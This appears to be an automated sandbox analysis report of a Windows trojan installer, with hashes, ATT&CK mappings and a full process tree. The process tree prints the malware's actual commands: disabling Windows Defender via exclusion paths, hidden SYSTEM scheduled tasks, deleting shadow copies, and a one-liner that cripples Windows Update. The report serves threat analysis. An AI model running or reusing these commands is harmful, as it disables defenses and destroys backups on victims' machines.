718c04c19a1fe1fb74d1dfc165b812da7ab6bbc894958e6b923d62e6ed078537

Analysis

max time kernel
150s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/08/2026, 23:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install_q0.3.15.exe
Size 25.8MB
Sample260830-3blc6adg96
SHA256 718c04c19a1fe1fb74d1dfc165b812da7ab6bbc894958e6b923d62e6ed078537
MD5 d3cf06ee2faa5c1c0a5dbfe8016e30e3
SHA1 c8eed177c95d50e5bfac7993f820f9550e378b28
SHA512 c009cd7c68a7292a2f2d9b3a929573a3325a12542cfb3a68e3aa32a89c8fe55fc1baa9e588a2918b604dc300f06fa9bf2899e32b314008f9427a5435ccdb5aac
SSDEEP 49152:VudCDvwT4vMN0GUX+UPhsVEFAt8D4ak1t2J++32xobI8iR1aoPnMB9CfZ1Cy988d:Tvq0nXhSaF5MxcNafMHW+EnzYP1o
TLSH
T14157094EB7478DD3F9095638499687E433B3ECB08A5647033298B32D6FBF2885DA7581
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 10 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\QertUl = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4196	powershell.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 2 IoCs

pid	Process
2636	ps1wyX.exe
4360	ps1wyX.exe

Loads dropped DLL 2 IoCs

pid	Process
2636	ps1wyX.exe
4360	ps1wyX.exe

Modifies file permissions 1 TTPs 5 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1040	icacls.exe
476	icacls.exe
4544	icacls.exe
704	icacls.exe
4316	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\QertUl\\ps1wyX.exe\""	ps1wyX.exe

Indicator Removal: Clear Persistence 1 TTPs 6 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
1076	cmd.exe
2608	cmd.exe
3984	cmd.exe
3356	cmd.exe
2444	cmd.exe
3264	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	ps1wyX.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\2vI8Wh\XPSPLOG.dll	ps1wyX.exe
File opened for modification	C:\Program Files (x86)\2vI8Wh\image.png	ps1wyX.exe
File created	C:\Program Files (x86)\2vI8Wh\XPSPLOG.dll	ps1wyX.exe
File created	C:\Program Files (x86)\2vI8Wh\thumbs.db	ps1wyX.exe
File opened for modification	C:\Program Files (x86)\2vI8Wh\p9T3z4.exe	ps1wyX.exe
File opened for modification	C:\Program Files (x86)\2vI8Wh\thumbs.db	ps1wyX.exe
File opened for modification	C:\Program Files (x86)\2vI8Wh	ps1wyX.exe
File created	C:\Program Files (x86)\2vI8Wh\p9T3z4.exe	ps1wyX.exe
File created	C:\Program Files (x86)\2vI8Wh\image.png	ps1wyX.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1168	sc.exe
1896	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 13 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3704	cmd.exe
4552	cmd.exe
856	cmd.exe
4912	cmd.exe
6120	cmd.exe
5664	cmd.exe
4692	cmd.exe
2044	cmd.exe
5096	cmd.exe
1056	cmd.exe
2424	cmd.exe
5900	cmd.exe
5636	cmd.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5176	schtasks.exe
1428	schtasks.exe
6140	schtasks.exe
996	schtasks.exe
4212	schtasks.exe
4900	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2956	install_q0.3.15.exe
2956	install_q0.3.15.exe
2956	install_q0.3.15.exe
2956	install_q0.3.15.exe
2956	install_q0.3.15.exe
2956	install_q0.3.15.exe
2956	install_q0.3.15.exe
2956	install_q0.3.15.exe
2956	install_q0.3.15.exe
2956	install_q0.3.15.exe
2956	install_q0.3.15.exe
2956	install_q0.3.15.exe
2956	install_q0.3.15.exe
2956	install_q0.3.15.exe
2956	install_q0.3.15.exe
2956	install_q0.3.15.exe
2956	install_q0.3.15.exe
2956	install_q0.3.15.exe
2956	install_q0.3.15.exe
2956	install_q0.3.15.exe
2956	install_q0.3.15.exe
2956	install_q0.3.15.exe
2956	install_q0.3.15.exe
2956	install_q0.3.15.exe
2956	install_q0.3.15.exe
2956	install_q0.3.15.exe
2956	install_q0.3.15.exe
2956	install_q0.3.15.exe
2956	install_q0.3.15.exe
2956	install_q0.3.15.exe
2956	install_q0.3.15.exe
2956	install_q0.3.15.exe
2636	ps1wyX.exe
2636	ps1wyX.exe
2636	ps1wyX.exe
2636	ps1wyX.exe
2636	ps1wyX.exe
2636	ps1wyX.exe
2636	ps1wyX.exe
2636	ps1wyX.exe
2636	ps1wyX.exe
2636	ps1wyX.exe
2636	ps1wyX.exe
2636	ps1wyX.exe
2636	ps1wyX.exe
2636	ps1wyX.exe
2636	ps1wyX.exe
2636	ps1wyX.exe
2636	ps1wyX.exe
2636	ps1wyX.exe
2636	ps1wyX.exe
2636	ps1wyX.exe
2636	ps1wyX.exe
2636	ps1wyX.exe
2636	ps1wyX.exe
2636	ps1wyX.exe
2636	ps1wyX.exe
2636	ps1wyX.exe
2636	ps1wyX.exe
2636	ps1wyX.exe
2636	ps1wyX.exe
2636	ps1wyX.exe
2636	ps1wyX.exe
2636	ps1wyX.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	4196	powershell.exe
Token: SeIncreaseQuotaPrivilege	4196	powershell.exe
Token: SeSecurityPrivilege	4196	powershell.exe
Token: SeTakeOwnershipPrivilege	4196	powershell.exe
Token: SeLoadDriverPrivilege	4196	powershell.exe
Token: SeSystemProfilePrivilege	4196	powershell.exe
Token: SeSystemtimePrivilege	4196	powershell.exe
Token: SeProfSingleProcessPrivilege	4196	powershell.exe
Token: SeIncBasePriorityPrivilege	4196	powershell.exe
Token: SeCreatePagefilePrivilege	4196	powershell.exe
Token: SeBackupPrivilege	4196	powershell.exe
Token: SeRestorePrivilege	4196	powershell.exe
Token: SeShutdownPrivilege	4196	powershell.exe
Token: SeDebugPrivilege	4196	powershell.exe
Token: SeSystemEnvironmentPrivilege	4196	powershell.exe
Token: SeRemoteShutdownPrivilege	4196	powershell.exe
Token: SeUndockPrivilege	4196	powershell.exe
Token: SeManageVolumePrivilege	4196	powershell.exe
Token: 33	4196	powershell.exe
Token: 34	4196	powershell.exe
Token: 35	4196	powershell.exe
Token: 36	4196	powershell.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 2636 wrote to memory of 4196	2636	ps1wyX.exe	91
PID 2636 wrote to memory of 2444	2636	ps1wyX.exe	93
PID 2444 wrote to memory of 5176	2444	cmd.exe	95
PID 2444 wrote to memory of 4896	2444	cmd.exe	98
PID 2444 wrote to memory of 5256	2444	cmd.exe	101
PID 2636 wrote to memory of 3264	2636	ps1wyX.exe	103
PID 3264 wrote to memory of 1428	3264	cmd.exe	105
PID 2636 wrote to memory of 1076	2636	ps1wyX.exe	106
PID 3264 wrote to memory of 4316	3264	cmd.exe	108
PID 1076 wrote to memory of 6140	1076	cmd.exe	111
PID 3264 wrote to memory of 4900	3264	cmd.exe	110
PID 1076 wrote to memory of 2220	1076	cmd.exe	112
PID 2636 wrote to memory of 2608	2636	ps1wyX.exe	117
PID 1076 wrote to memory of 2792	1076	cmd.exe	119
PID 2608 wrote to memory of 996	2608	cmd.exe	120
PID 2608 wrote to memory of 5852	2608	cmd.exe	121
PID 2608 wrote to memory of 2576	2608	cmd.exe	123
PID 2636 wrote to memory of 3984	2636	ps1wyX.exe	125
PID 3984 wrote to memory of 4212	3984	cmd.exe	127
PID 3984 wrote to memory of 5100	3984	cmd.exe	128
PID 3984 wrote to memory of 3676	3984	cmd.exe	130
PID 1056 wrote to memory of 628	1056	cmd.exe	133
PID 5900 wrote to memory of 1440	5900	cmd.exe	134
PID 2424 wrote to memory of 2616	2424	cmd.exe	135
PID 5636 wrote to memory of 4856	5636	cmd.exe	136
PID 6120 wrote to memory of 5384	6120	cmd.exe	137

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install_q0.3.15.exe
"C:\Users\Admin\AppData\Local\Temp\install_q0.3.15.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:2956

C:\Users\Public\QertUl\ps1wyX.exe
"C:\Users\Public\QertUl\ps1wyX.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2636
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:4196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\QertUl\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2444
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\QertUl\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5176
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4896
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3264
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1428
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4316
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1076
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6140
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2220
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2608
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:996
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5852
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3984
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4212
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5100
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3676
- C:\Program Files (x86)\2vI8Wh\p9T3z4.exe
  "C:\Program Files (x86)\2vI8Wh\p9T3z4.exe"
  2⤵
  PID:1140
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:3704
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\2vI8Wh" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:4552
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\2vI8Wh" /inheritance:r
      4⤵
      Modifies file permissions
      PID:704
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:856
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:5664
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:4912
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\2vI8Wh\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:3356
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\2vI8Wh\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4900
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4972
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    PID:4692
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      PID:6080
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        
        PID:2856
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:1168
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:1896
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      PID:1228
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\2vI8Wh" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:2044
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\2vI8Wh" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:4316
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\2vI8Wh" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    PID:5096

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\QertUl" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1056
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\QertUl" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:628

C:\Users\Public\QertUl\ps1wyX.exe
"C:\Users\Public\QertUl\ps1wyX.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4360

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:2120

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2424
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2616

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6120
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5384

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5900
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1440

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5636
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4856

C:\Program Files (x86)\2vI8Wh\p9T3z4.exe
"C:\Program Files (x86)\2vI8Wh\p9T3z4.exe"
1⤵
PID:1804

C:\Program Files (x86)\2vI8Wh\p9T3z4.exe
"C:\Program Files (x86)\2vI8Wh\p9T3z4.exe"
1⤵
PID:4636

C:\Program Files (x86)\v9U3uvjI5\7moiZFK.exe
"C:\Program Files (x86)\v9U3uvjI5\7moiZFK.exe"
1⤵
PID:2084

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop UsoSvc
1⤵
PID:5852

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Program Files (x86)\2vI8Wh\p9T3z4.exe" /inheritance:r
1⤵
- Modifies file permissions
PID:1040

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Program Files (x86)\2vI8Wh\p9T3z4.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
1⤵
- Modifies file permissions
PID:476

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Program Files (x86)\2vI8Wh\p9T3z4.exe" /grant:r Users:(RX) /deny Users:(DE)
1⤵
- Modifies file permissions
PID:4544

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop WaaSMedicSvc
1⤵
PID:3748

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\2vI8Wh\XPSPLOG.dll
Size 4.6MB
SHA256 27b2cf0631a557c2485ed96a26852d5276fe28fbe2d55eff72ef366831fc8f93
MD5 0f463402deb45c14be32c83bb46c1cad
SHA1 b40d9dccf67fe8d3ebc57aa73144b7a882ac4db4
SHA512 e15c112db2767ea6cfbb8ca16867dcdd8580968929cc3f48119c7c3bab5353ad3e8ee8c59339053d6554b316442cf7619272bc26930f07d0b98ad761090d6883
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmya:BMWKfU+BcUTHCCCfqCiUffna
TLSH
T14B263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\2vI8Wh\image.png
Size 5.0MB
SHA256 2e4cced75bee88346b5ceb9e2684e293f958102254e6071c04d361d0748a0c76
MD5 3c4581f2ebfe59a7f46300ed45be4b5e
SHA1 3221e99606e2c110c0219d5b83898f671974f813
SHA512 dc0fae5706e364b597c32458ccae78479bca3391bd4d4c3af57258b77ce484448e4fa69a77faf0c4a64c1ceceda1abf5402f900cecadc02a931e486522c3a9c4
SSDEEP 98304:IFYrZdgzrNWII7jT4piZg5mNmtgJ+N2T4+C0l7ETp1qM/a6kX6aVmtK:tRIUjDgAk+jkn/IXhVaK
TLSH
